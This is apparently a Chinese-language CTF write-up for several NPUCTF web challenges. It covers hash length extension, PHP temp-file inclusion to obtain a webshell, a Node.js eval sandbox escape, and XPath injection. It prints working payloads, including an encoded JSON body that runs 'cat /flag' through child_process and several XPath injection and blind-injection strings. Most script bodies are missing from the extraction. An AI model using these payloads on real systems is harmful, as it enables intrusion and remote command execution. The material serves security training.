记录几道NPUCTF比赛WP
0x01 ezinclude
首先访问可以得到
然后看到cookie有hash
感觉这个hash值就应该是$pass,测试发现它回根据传入的name值变化,然后?name=mount4in,后hash刷新成上面的hash值,然后就可绕过,
看官方WP考点是hash扩展攻击,hash扩展攻击的利用条件就是密钥在前面,已知一对明文密文对。然后可以利用hashpump进行伪造其他明文对应的密文。这里我们不知道密钥的长度,所以去爆破密钥长度。
1 | import requests |
然后会跳转到flflflflag.php,这里浏览器直接访问会跳到404界面,这里用burp去访问,
有一个文件包含,这里我们可以利用伪协议读下源码,看下index.php
1 |
|
config.php
1 |
|
dir.php
1 |
|
flflflflag.php
1 | <html> |
这里有个dir.php可以查看/tmp目录的文件,那么应该是对临时文件的利用了,之前有大佬分析过在使用php://filter/string.strip_tags/resource=/etc/passwd这个过滤器时,php会发生错误,导致上传的临时文件不会被删除,一直保存在/tmp目录,然后利用脚本
1 | import requests |
传完之后,访问dir.php可以得到临时文件的名,然后包含就可以得到webshell。然后flag在phpinfo()里面
0x02 验证🐎
可以得到源码
1 | const express = require('express'); |
可以看到关键点在
从输入中获取e、first、second,如果通过
(first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
这个条件而且e存在就调用saferEval()处理。
首先这个条件要求first和second长度相等、first不等于second、first和second拼接一个值后的md5相等。这个之前有个比赛考过,具体链接找不到了,因为js也是一个弱类型的语言,first和second在与keys[0]拼接时会强制转换成字符串,而且String和Array都有length属性。
然后就是对saferEval()的绕过,
可以看到这个过滤会替换正则表达式的内容为空,若替换后为空,则执行eval;若不为空返回null。分析下正则表达式
1 | /(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g |
这里可以用到=>
这个符号,来生成匿名函数,并且在后面加上参数可以立即调用。
这里先贴出payload,然后再分析。
1 | (Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()))(Math+1) |
最后传给eval执行的应该是一个表达式字符串,如alert(1)这种形式。正则表达式只允许在Math后面加字母字符,查看对应的Math的函数没有能够将数字转换成字母的(这里不像php,php里面有很多可以尽心进制转换的函数),但是String.fromCharCode()这个函数可以将ascii码转换成字符,然后就通过原型获得String。
如上图所示我们需要获得Function和String,
Math+1会因为Object与字符串拼接后原型会变成String,然后String的constructor为Function,这样就得到了需要的东西,进行替换就好。
1 | (Math=>(Math=Function(String.fromCharCode(97,108,101,114,116,40,49,41))()))() |
然后我们将下面的payload编码
1 | def fun(string): |
1 | {"first":"1","second":[1],"e":"(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)"} |
0x03 ezlogin
xpath注入
查询语句为:
1 $query = "/root/accounts/user[username/text()='".$name."' and password/text()='".$pwd."']";1.万能密码,这点和SQL很像;在知道用户名的情况:
1 ?name=admin' or '1'='1&pwd=fake在不知道用户名的情况,使用两个or绕过:
1 ?name=fake' or '1'or'1&pwd=fake2.使用
|
操作符,
1 ?name=1']|//*|ss['&pwd=fake其执行的语句为:
1 /root/accounts/user[username/text()='1' ]|//*|ss['' and password/text()='1']即先闭合前面的语句,之后
//*
列出文档所有元素3.盲注,需要一级一级猜解节点;猜解第一级节点:
1 ?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake猜解第二级节点数量:
1 ?name=1' or count(/root/*)=2 or '1'='1&fake猜解第二级节点:
1 ?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake猜解id为1的user节点下的username值:
1 ?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
1 | import requests |
然后登录进去伪协议大小写绕过就可以得到flag。
0x04 web🐕
参考: